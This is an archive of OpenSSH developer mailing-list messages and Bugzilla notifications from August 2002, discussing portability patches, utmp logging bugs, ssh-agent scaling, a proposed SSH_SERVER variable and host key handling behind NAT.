Date: Wed, 21 Aug 2002 00:05:45 +0900
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <20020820142757.GB28367@scott.crlsca.adelphia.net>
References: <yge65y667ut.wl@mille.mahoroba.org>
	<20020819211902.GA27268@scott.crlsca.adelphia.net>
	<ygeelcu6pvs.wl@mille.mahoroba.org>
	<20020820142757.GB28367@scott.crlsca.adelphia.net>
Message-ID: <ygesn19in92.wl@lyrics.mahoroba.org>

Hi,

>>>>> On Tue, 20 Aug 2002 07:27:57 -0700
>>>>> Kevin Steves <kevin at atomicgears.com> said:

kevin> does this defeat utmp_len and verify_reverse_mapping?

kevin> http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/loginrec.c.diff?r1=1.1&r2=1.2

Ah yes, FreeBSD has some hack to store utmp entry by calling
realhostname_sa().  Sorry for my lacking of consideration around
FreeBSD hack.
In anyway, it is a potential problem that record_login() copies addr
just sizeof(struct sockaddr) regardless of actual size.  Please
consider to fix it by applying my previous patch.

Sincerely,

--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume at mahoroba.org  ume at bisd.hitachi.co.jp  ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/


From kevin at atomicgears.com  Wed Aug 21 01:20:20 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Tue, 20 Aug 2002 08:20:20 -0700
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <ygesn19in92.wl@lyrics.mahoroba.org>
References: <yge65y667ut.wl@mille.mahoroba.org> <20020819211902.GA27268@scott.crlsca.adelphia.net> <ygeelcu6pvs.wl@mille.mahoroba.org> <20020820142757.GB28367@scott.crlsca.adelphia.net> <ygesn19in92.wl@lyrics.mahoroba.org>
Message-ID: <20020820152020.GC28367@scott.crlsca.adelphia.net>

On Wed, Aug 21, 2002 at 12:05:45AM +0900, Hajimu UMEMOTO wrote:
> Ah yes, FreeBSD has some hack to store utmp entry by calling
> realhostname_sa().  Sorry for my lacking of consideration around
> FreeBSD hack.
> In anyway, it is a potential problem that record_login() copies addr
> just sizeof(struct sockaddr) regardless of actual size.  Please
> consider to fix it by applying my previous patch.

yes i agree, we should add your fix.  thanks again.


From ume at mahoroba.org  Wed Aug 21 01:34:31 2002
From: ume at mahoroba.org (Hajimu UMEMOTO)
Date: Wed, 21 Aug 2002 00:34:31 +0900
Subject: sshd doesn't log hostname into utmp correctly [resend]
In-Reply-To: <20020820152020.GC28367@scott.crlsca.adelphia.net>
References: <yge65y667ut.wl@mille.mahoroba.org>
	<20020819211902.GA27268@scott.crlsca.adelphia.net>
	<ygeelcu6pvs.wl@mille.mahoroba.org>
	<20020820142757.GB28367@scott.crlsca.adelphia.net>
	<ygesn19in92.wl@lyrics.mahoroba.org>
	<20020820152020.GC28367@scott.crlsca.adelphia.net>
Message-ID: <yged6sd7ddk.wl@mille.mahoroba.org>

Hi,

>>>>> On Tue, 20 Aug 2002 08:20:20 -0700
>>>>> Kevin Steves <kevin at atomicgears.com> said:

kevin> yes i agree, we should add your fix.  thanks again.

Thanks!

--
Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan
ume at mahoroba.org  ume at bisd.hitachi.co.jp  ume@{,jp.}FreeBSD.org
http://www.imasy.org/~ume/


From bugzilla-daemon at mindrot.org  Wed Aug 21 02:26:40 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 02:26:40 +1000 (EST)
Subject: [Bug 388] New: Escape character not updated from default of ~ in help message
Message-ID: <20020820162640.634273D16F@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=388

           Summary: Escape character not updated from default of ~ in help
                    message
           Product: Portable OpenSSH
           Version: -current
          Platform: All
        OS/Version: All
            Status: NEW
          Severity: minor
          Priority: P4
         Component: ssh
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: wknox at mitre.org


The help message that gets printed when a different escape character is used
(with the -e flag or with the EscapeChar option to ssh) still contains the
default ~ character. A simple (mindless?) patch against 3.4p1 is attached.
(Version 3.4p1 is not available yet in the pulldown version menu on bugzilla,
btw, so I chose current)



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Wed Aug 21 02:28:32 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 02:28:32 +1000 (EST)
Subject: [Bug 388] Escape character not updated from default of ~ in help message
Message-ID: <20020820162832.6F88D3D199@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=388





------- Additional Comments From wknox at mitre.org  2002-08-21 02:28 -------
Created an attachment (id=138)
 --> (http://bugzilla.mindrot.org/attachment.cgi?id=138&action=view)
Patch to print proper escape character in escape help




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From kcurrie at cisco.com  Wed Aug 21 02:57:48 2002
From: kcurrie at cisco.com (Kevin Currie)
Date: Tue, 20 Aug 2002 11:57:48 -0500
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated
 ssh-agent authentication retry patch available
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com>
Message-ID: <3D62750C.4060302@cisco.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jos Backus wrote:

| That's what I thought as well, and so we racked it up to 256 (I think even
| higher - not sure what the maximum listen queue depth is on Solaris). But it
| did not work well enough (sorry, don't remember the details), hence this patch
| which is part of our standard distribution at work. We have a perl script
| which is used to routinely update hundreds of machines with a single command,
| and it works very well with this patch.

	Even with this patch it still doesn't scale to the extent that
we'd like.  I routinely run commands on ~8-10K hosts and it takes too
long to complete the runs.  We've hacked around this by writing some
tools that launch 10 ssh-agents, and then command wrappers around
ssh/scp/etc that randomly connect to one of the agents for authentication.
By doing it this way, we are able to run hundreds of concurrent sessions with
out getting "permission denied" messages.
	It would be nice if this type of thing was not required in the
future :-)


- --
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Kevin Currie          |        |          |       |
~ SysAdmin/ECS Security |      .|||.      .|||.     |	  Email:
~ Cisco Systems         | ..:|||||||:...:|||||||:.. | kcurrie(at)cisco.com
~ Austin, Texas         |---------------------------|
~~~~~~~~GPG/PGP public key: https://undertow.2y.net/kcurrie.pub~~~~~~~~~~


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9YnUMPt/WS5aO4BwRAlA+AKDgnzphTSEa07irtGJH1zVE45tDqACdGSOP
2Zh4qRdQzRoqelsj+S6Oka8=
=E6xn
-----END PGP SIGNATURE-----



From bugzilla-daemon at mindrot.org  Wed Aug 21 05:12:20 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 05:12:20 +1000 (EST)
Subject: [Bug 385] loginsuccess on AIX fails
Message-ID: <20020820191220.838883D19D@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=385





------- Additional Comments From mouring at eviladmin.org  2002-08-21 05:12 -------
Just skimming the code it seems to only affect AIX.  So as it sounds like a 
plan.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Wed Aug 21 05:50:48 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 05:50:48 +1000 (EST)
Subject: [Bug 384] OpenSSH should store an SSH_SERVER variable for cluster hosts
Message-ID: <20020820195048.85B5F3D1A1@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=384





------- Additional Comments From mouring at eviladmin.org  2002-08-21 05:50 -------
Out of interest why can't you just handle this in /etc/profile or at the system 
level in general?  I don't see this as being all that useful of a feature.

- Ben



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Wed Aug 21 05:59:16 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 05:59:16 +1000 (EST)
Subject: [Bug 386] Bugzilla emails contain invalid URLs
Message-ID: <20020820195916.75F603D191@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=386

mouring at eviladmin.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |FIXED



------- Additional Comments From mouring at eviladmin.org  2002-08-21 05:59 -------
resolved



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From itojun at iijlab.net  Wed Aug 21 07:19:19 2002
From: itojun at iijlab.net (itojun at iijlab.net)
Date: Wed, 21 Aug 2002 06:19:19 +0900
Subject: darwin getaddrinfo 
In-Reply-To: itojun's message of Tue, 13 Aug 2002 03:44:01 +0900.
      <20020812184401.6647F7B9@starfruit.itojun.org> 
Message-ID: <20020820211919.6BE4C4B22@coconut.itojun.org>

>>> 	in configure.ac, we AC_DEFINE(BROKEN_GETADDRINFO) for *-darwin-*
>>> 	platforms.  recent Darwin fixed getaddrinfo to work as specified in
>>> 	RFC2553, so the case clause is not needed for recent Darwin.
>>> 	still not sure when it was corrected.  anyone has a clue?
>>Can you think of any run-time tests which doesn't require an online DNS
>>which can detect broken getaddrinfo implementations? 
>>I'd much rather a runtime test than hardcoded workarounds in configure.
>	i'll try to work on it this weekend.

	apple guy suggeseted this.

itojun

Index: configure.ac
===================================================================
RCS file: /cvs/openssh/configure.ac,v
retrieving revision 1.85
diff -u -r1.85 configure.ac
--- configure.ac	14 Aug 2002 01:52:11 -0000	1.85
+++ configure.ac	20 Aug 2002 21:18:22 -0000
@@ -98,7 +98,16 @@
 	AC_DEFINE(IP_TOS_IS_BROKEN)
 	;;
 *-*-darwin*)
-	AC_DEFINE(BROKEN_GETADDRINFO)
+	AC_MSG_CHECKING(if we have working getaddrinfo)
+	AC_TRY_RUN([#include <mach-o/dyld.h>
+main() { if (NSVersionOfRunTimeLibrary("System") >= (60 << 16))
+		exit(0);
+	else
+		exit(1);
+}], [AC_MSG_RESULT(working)],
+	[AC_MSG_RESULT(buggy)
+	AC_DEFINE(BROKEN_GETADDRINFO)],
+	[AC_MSG_RESULT(assume it is working)])
 	;;
 *-*-hpux10.26)
 	if test -z "$GCC"; then


From mouring at etoh.eviladmin.org  Wed Aug 21 07:24:10 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 20 Aug 2002 16:24:10 -0500 (CDT)
Subject: Solaris 7 w/ current CVS.
Message-ID: <Pine.BSO.4.44.0208201614370.2234-100000@etoh.eviladmin.org>

Not sure about any other version, but I know sol7 lacks SIZE_T_MAX which
we are now using in -current.

OpenBSD defines it as ULONG_MAX.   Pawing through the Solaris /usr/include
it stated it could be 'u_int' or 'u_long'.  Depends on if your are
compiling legacy stuff.

I'm sure other OSes may encounter this issue (not tried Linux, but Redhat
7.x does not define it), but what is the collective suggestion in regards
to detectin what size_t is.

For a work around locally I'm just defining SIZE_T_MAX to ULONG_MAX in my
local Solaris tree.

- Ben



From Nicolas.Williams at ubsw.com  Wed Aug 21 07:57:03 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Tue, 20 Aug 2002 17:57:03 -0400
Subject: Solaris 7 w/ current CVS.
Message-ID: <CEDB18D32D8138479D20048AB99CF2EA059AF8@NSTMC007PEX1.ubsgs.ubsgroup.net>

Why not define it as "sizeof(size_t)"?

Nico
-- 

> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Tuesday, August 20, 2002 5:24 PM
> To: OpenSSH Development
> Subject: Solaris 7 w/ current CVS.
> 
> 
> 
> Not sure about any other version, but I know sol7 lacks 
> SIZE_T_MAX which
> we are now using in -current.
> 
> OpenBSD defines it as ULONG_MAX.   Pawing through the Solaris 
> /usr/include
> it stated it could be 'u_int' or 'u_long'.  Depends on if your are
> compiling legacy stuff.
> 
> I'm sure other OSes may encounter this issue (not tried 
> Linux, but Redhat
> 7.x does not define it), but what is the collective 
> suggestion in regards
> to detectin what size_t is.
> 
> For a work around locally I'm just defining SIZE_T_MAX to 
> ULONG_MAX in my
> local Solaris tree.
> 
> - Ben
> 
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From mouring at etoh.eviladmin.org  Wed Aug 21 08:52:34 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 20 Aug 2002 17:52:34 -0500 (CDT)
Subject: Solaris 7 w/ current CVS.
In-Reply-To: <CEDB18D32D8138479D20048AB99CF2EA059AF8@NSTMC007PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.BSO.4.44.0208201749350.2234-100000@etoh.eviladmin.org>

Because it is not the sizeof().  It is the max value.

/usr/include/machine/limits.h:#define   ULONG_MAX       0xffffffffUL    /*
max value for an unsigned long */
/usr/include/machine/limits.h:#define   SIZE_T_MAX      ULONG_MAX       /*
max value for a size_t */


On Tue, 20 Aug 2002 Nicolas.Williams at ubsw.com wrote:

>
> Why not define it as "sizeof(size_t)"?
>
> Nico
> --
>
> > -----Original Message-----
> > From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> > Sent: Tuesday, August 20, 2002 5:24 PM
> > To: OpenSSH Development
> > Subject: Solaris 7 w/ current CVS.
> >
> >
> >
> > Not sure about any other version, but I know sol7 lacks
> > SIZE_T_MAX which
> > we are now using in -current.
> >
> > OpenBSD defines it as ULONG_MAX.   Pawing through the Solaris
> > /usr/include
> > it stated it could be 'u_int' or 'u_long'.  Depends on if your are
> > compiling legacy stuff.
> >
> > I'm sure other OSes may encounter this issue (not tried
> > Linux, but Redhat
> > 7.x does not define it), but what is the collective
> > suggestion in regards
> > to detectin what size_t is.
> >
> > For a work around locally I'm just defining SIZE_T_MAX to
> > ULONG_MAX in my
> > local Solaris tree.
> >
> > - Ben
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
>
> Visit our website at http://www.ubswarburg.com
>
> This message contains confidential information and is intended only
> for the individual named.  If you are not the named addressee you
> should not disseminate, distribute or copy this e-mail.  Please
> notify the sender immediately by e-mail if you have received this
> e-mail by mistake and delete this e-mail from your system.
>
> E-mail transmission cannot be guaranteed to be secure or error-free
> as information could be intercepted, corrupted, lost, destroyed,
> arrive late or incomplete, or contain viruses.  The sender therefore
> does not accept liability for any errors or omissions in the contents
> of this message which arise as a result of e-mail transmission.  If
> verification is required please request a hard-copy version.  This
> message is provided for informational purposes and should not be
> construed as a solicitation or offer to buy or sell any securities or
> related financial instruments.
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From bugzilla-daemon at mindrot.org  Wed Aug 21 09:19:10 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 09:19:10 +1000 (EST)
Subject: [Bug 384] OpenSSH should store an SSH_SERVER variable for cluster hosts
Message-ID: <20020820231910.EA7423D166@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=384





------- Additional Comments From thomas+openssh at stromberg.org  2002-08-21 09:19 -------
Yes, this patch may seem a bit unusual until you take cluster's into account.This extra 
environment, SSH_SERVER is used by /etc/profile. Let me give you a real life example:

Sun 4800 Cluster Node "dirac" has several versions of oracle application server running 
on it. Each instance has it's own IP, so it can fail over to other nodes as needed. For 
instance, if the load on "dirac" is getting too high, the development instance moves to 
"curie". Here are some of the instances on "dirac" in this test case:

OADEV   192.168.100.41
OAPRD  192.168.100.42
OATST   192.168.100.43
TADEV  192.168.100.44
BOPRD  192.168.100.45

When a user SSH's to the hostname "OATST", he lands onto "dirac", because that's the 
node where the instance currently is. The /etc/profile script needs to know what IP they 
ssh'd into, so it knows how to handle the case. It then processes SSH_SERVER:

        if [ "$SSH_SERVER" ]; then
                ip=`echo $SSH_SERVER | cut -d" " -f1`
                target=$ip
        else

and then runs through a case statement (if $target matches 192.168.100.43, we want 
OATST's environment) to setup the environment correctly for the OATST instance... to 
make it less confusing for the end user, you make the prompt say the instance name 
OATST instead of the node name, dirac.

When the user then ssh's to OAPRD in another PuTTY window, they end up on dirac 
again, but they don't know that. The environment magically becomes OAPRD, and so 
does their prompt. 

We've got about 30 cluster instances, of various products, on four Sun 4800 nodes. This 
small patch was the only clean way I could figure to discover the IP of the connecting 
host. I had thought about a complex loop of lsof's, but it would incur a significant login 
delay (at least 15 seconds), and would hang should any nfs resources be unavailable. 

I just figured since there is an SSH_CLIENT variable, there should be a matching 
SSH_SERVER variable, especially for us folks relying on OpenSSH in HA environments.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jos at catnook.com  Wed Aug 21 09:43:58 2002
From: jos at catnook.com (Jos Backus)
Date: Tue, 20 Aug 2002 16:42:58 -0701
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020820060516.GC34449@lizzy.catnook.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <20020819212321.GB27268@scott.crlsca.adelphia.net> <20020820060516.GC34449@lizzy.catnook.com>
Message-ID: <20020820234320.GA42020@lizzy.catnook.com>

On Mon, Aug 19, 2002 at 11:04:54PM -0701, Jos Backus wrote:
> On Mon, Aug 19, 2002 at 02:23:21PM -0700, Kevin Steves wrote:
> > i would like to know the details of why it did not work.
> 
> I'll try to come up with some details.

ssh-agent does

    listen(3, 128, 1)                               = 0

After a couple of seconds, when the 85th (or thereabouts) ssh process is
started I start seeing

    connect(6, 0xFFBEF6C0, 110, 1) Err#146 ECONNREFUSED

for a percentage of the new ssh processes. This is with 

    tcp_conn_req_max_q == 128

Could it be that the connection timeout period for UNIX domain sockets is
short on Solaris?

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From tim at multitalents.net  Wed Aug 21 11:08:43 2002
From: tim at multitalents.net (Tim Rice)
Date: Tue, 20 Aug 2002 18:08:43 -0700 (PDT)
Subject: Solaris 7 w/ current CVS.
In-Reply-To: <Pine.BSO.4.44.0208201614370.2234-100000@etoh.eviladmin.org>
Message-ID: <Pine.UW2.4.44.0208201750470.14256-100000@ou8.int.multitalents.net>

On Tue, 20 Aug 2002, Ben Lindstrom wrote:

>
> Not sure about any other version, but I know sol7 lacks SIZE_T_MAX which
> we are now using in -current.
>
> OpenBSD defines it as ULONG_MAX.   Pawing through the Solaris /usr/include
> it stated it could be 'u_int' or 'u_long'.  Depends on if your are
> compiling legacy stuff.
>
> I'm sure other OSes may encounter this issue (not tried Linux, but Redhat
> 7.x does not define it), but what is the collective suggestion in regards
> to detectin what size_t is.

It looks like this would work for at least intel and sparc.
#ifndef SIZE_T_MAX
#define SIZE_T_MAX ULONG_MAX
#endif

On my platforms where size_t is 'u_int', UINT_MAX and ULONG_MAX are
the same value anyway.

>
> For a work around locally I'm just defining SIZE_T_MAX to ULONG_MAX in my
> local Solaris tree.
>
> - Ben
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From mouring at etoh.eviladmin.org  Wed Aug 21 12:52:27 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 20 Aug 2002 21:52:27 -0500 (CDT)
Subject: Solaris 7 w/ current CVS.
In-Reply-To: <Pine.UW2.4.44.0208201750470.14256-100000@ou8.int.multitalents.net>
Message-ID: <Pine.BSO.4.44.0208202151220.2234-100000@etoh.eviladmin.org>

Guess we do this and if something breaks we will readdress.

- Ben

On Tue, 20 Aug 2002, Tim Rice wrote:

> On Tue, 20 Aug 2002, Ben Lindstrom wrote:
>
> >
> > Not sure about any other version, but I know sol7 lacks SIZE_T_MAX which
> > we are now using in -current.
> >
> > OpenBSD defines it as ULONG_MAX.   Pawing through the Solaris /usr/include
> > it stated it could be 'u_int' or 'u_long'.  Depends on if your are
> > compiling legacy stuff.
> >
> > I'm sure other OSes may encounter this issue (not tried Linux, but Redhat
> > 7.x does not define it), but what is the collective suggestion in regards
> > to detectin what size_t is.
>
> It looks like this would work for at least intel and sparc.
> #ifndef SIZE_T_MAX
> #define SIZE_T_MAX ULONG_MAX
> #endif
>
> On my platforms where size_t is 'u_int', UINT_MAX and ULONG_MAX are
> the same value anyway.
>
> >
> > For a work around locally I'm just defining SIZE_T_MAX to ULONG_MAX in my
> > local Solaris tree.
> >
> > - Ben
> >
> > _______________________________________________
> > openssh-unix-dev at mindrot.org mailing list
> > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
> >
>
> --
> Tim Rice				Multitalents	(707) 887-1469
> tim at multitalents.net
>
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From ddm at pizzashack.org  Wed Aug 21 13:40:42 2002
From: ddm at pizzashack.org (Derek D. Martin)
Date: Tue, 20 Aug 2002 23:40:42 -0400
Subject: vulnerabilities in scponly
In-Reply-To: <20020820163850.H85797@episec.com>
References: <20020819235849.G29025@pizzashack.org> <20020820163850.H85797@episec.com>
Message-ID: <20020820234041.C31011@pizzashack.org>

An embedded and charset-unspecified text was scrubbed...
Name: msg.pgp
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020820/23eb5774/attachment.ksh 

From gwyllion at ace.ulyssis.org  Wed Aug 21 19:36:37 2002
From: gwyllion at ace.ulyssis.org (Dries Schellekens)
Date: Wed, 21 Aug 2002 11:36:37 +0200 (CEST)
Subject: vulnerabilities in scponly
In-Reply-To: <20020820234041.C31011@pizzashack.org>
Message-ID: <Pine.LNX.4.33.0208211128440.21322-100000@ace>

On Tue, 20 Aug 2002, Derek D. Martin wrote:

> It certainly would be better and easier for the developers of such a
> shell if the OpenSSH developers would provide a way to ignore the
> user's environment completely.  Again, I'm surprised they have not
> done so.  Perhaps they do not realize the demand for system
> administrators to be able to provide this functionality?  I would
> offer to work on providing this functionality in OpenSSH, but when I
> posted to the developer's list concerning the availability of rssh and
> contributing it to the OpenSSH project, I only received a response
> from one person, who AFAIK is not an OpenSSH developer (though I
> originally thought he was).  Perhaps the OpenSSH team has no interest
> in providing this sort of functionality (this is how I have taken
> their lack of response).  That would be unfortunate for the many
> people who use OpenSSH and desire such functionality.  I've had a few
> ideas for extending rssh and improving security, but at this time it
> seems rather pointless.

PermitUserEnvironment was added 3 weeks ago.


From bugzilla-daemon at mindrot.org  Wed Aug 21 21:13:36 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 21 Aug 2002 21:13:36 +1000 (EST)
Subject: [Bug 345] w (uptime) command still indicates user is logged in after logout
Message-ID: <20020821111336.584B53D1B3@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=345





------- Additional Comments From Lutz.Jaenicke at aet.TU-Cottbus.DE  2002-08-21 21:13 -------
I did not find any further information with respect to this problem. It seems to
be a bug in HP's pututxline() implementation. From feedback it seems, that this
problem only affects 10.20, HP-UX 11 doesn't seem to have this problem.

As a workaround, I have modified config.h to remove DISABLE_UTMP. This way both
utmp and utmpx are updated and it does not seem to hurt (after some short tests).
DISABLE_UTMP is enforced by "configure" for HP-UX 10.20. Are there any
sideeffects to be expected? Otherwise one could consider to remove DISABLE_UTMP
from the default settings for HP-UX 10.20.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Thu Aug 22 04:57:58 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 04:57:58 +1000 (EST)
Subject: [Bug 80] Host key conflict with two servers on one IP
Message-ID: <20020821185758.A8D853D16E@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=80





------- Additional Comments From eric-ossh at brouhaha.com  2002-08-22 04:57 -------
This "HostKeyAlias" business seems like a flimsy excuse for not implmeenting a
feature that users want.  In this age of ubiquitous firewalls and NAT, it is NOT
reasonable to assume that two ports on the same IP address refer to the same
host, or to the same SSH server.  Even if you run two SSH daemons on one host,
as Dan Kaminsky suggests, it is NOT necessarily the case that they are under the
same administrative control or have the same security requirements, so it is not
reasonable to assume that they must have the same key.

I fail to see what the harm would be in storing the port number as part of the
known hosts database.  In the rare cases where there were two ports on the same
SSH server that did use the same key, it's not like this would cause the user
any problems.

Furthermore, it is not clear how to use the HostAlias option in a configuration
file to do the right thing.  It may well be possible, but the documentation does
not explain it adequately.  Suppose I have a machine "firewall", and port 1234
on its IP address is mapped to port 22 on an internal host "foo".  I tried
putting the following in the SSH configuration of an external machine:

     Host foo
          HostKeyAlias foo
          HostName firewall
          Port 1234

This basically works, except that it still gives a warning:

  Warning: the RSA host key for 'foo' differs from the key for the IP address
'xx.xx.xx.xx'
  Offending key for IP in /home/xx/.ssh/known_hosts:xx
  Matching host key in /home/ss/.ssh/known_hosts:xx
  Are you sure you want to continue connecting (yes/no)? 

So my questions are:

1)  What do I need to put in my SSH config so that I can say "ssh foo" and
    get the right behavior?

2)  Why is it so undesirable to simply implement a reasonable feature that
    users want?  I'd much rather just say "ssh -p 1234 firewall" and have
    the right thing happen, because I have a lot of hosts behind firewalls,
    and a lot of outside hosts that access them, and I really don't want
    to have to create n*m entries in SSH configurations to deal with it.

Lest you think that I'm begging for someone else to spend time writing code
for me, I'll point out that I'm perfectly happy to write the patch, provided
that there's a reasonable chance that it will be integrated into the standard
code base.  I don't want to have to rebuild SSH to add the patch every time
there's an update from the vendor; I would much rather see this feature
become standard, and it's obvious that other users would also.




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jos at catnook.com  Thu Aug 22 05:04:37 2002
From: jos at catnook.com (Jos Backus)
Date: Wed, 21 Aug 2002 12:04:37 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <3D62750C.4060302@cisco.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net> <20020819014201.GC17212@lizzy.catnook.com> <3D62750C.4060302@cisco.com>
Message-ID: <20020821190459.GC450@lizzy.catnook.com>

On Tue, Aug 20, 2002 at 11:57:48AM -0500, Kevin Currie wrote:
> 	Even with this patch it still doesn't scale to the extent that
> we'd like.

At least here the patch improves things to the point that we rarely see
failures anymore, whereas without it ssh is basically unusable _for this
particular type of application_ because it fails to authenticate too often.
For us this level of improvement is Good Enough.

> I routinely run commands on ~8-10K hosts and it takes too
> long to complete the runs.  We've hacked around this by writing some
> tools that launch 10 ssh-agents, and then command wrappers around
> ssh/scp/etc that randomly connect to one of the agents for authentication.
> By doing it this way, we are able to run hundreds of concurrent sessions 
> with
> out getting "permission denied" messages.

Neat.

> 	It would be nice if this type of thing was not required in the
> future :-)

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From bugzilla-daemon at mindrot.org  Thu Aug 22 05:05:47 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Thu, 22 Aug 2002 05:05:47 +1000 (EST)
Subject: [Bug 80] Host key conflict with two servers on one IP
Message-ID: <20020821190547.E55193D185@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=80





------- Additional Comments From eric-ossh at brouhaha.com  2002-08-22 05:05 -------
I forgot to mention the other reason why I want the requested feature. 
Sometimes with the firewall/NAT, I map a firewall port (say 1234) to the same
port on an internal machine, and run the sshd on that port.  The reason for this
is that my DNS servers are set up so that inside the firewall/NAT, a DNS lookup
for foo will return its local IP address, but from the outside DNS will return
the address of the firewall.  So it would be nice to be able to say "ssh -p 1234
foo" on my laptop and have the right thing happen, regardless of whether my
laptop is currently attached to the interior network or somewhere on the
internet at large.  For this to work correctly, the knownhosts entry should
contain an entry matching the hostname and the port number.  And if I didn't
want to always type the "-p" option, I could put that in the SSH configuration,
but I wouldn't need two configuration entries for the same host.






------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


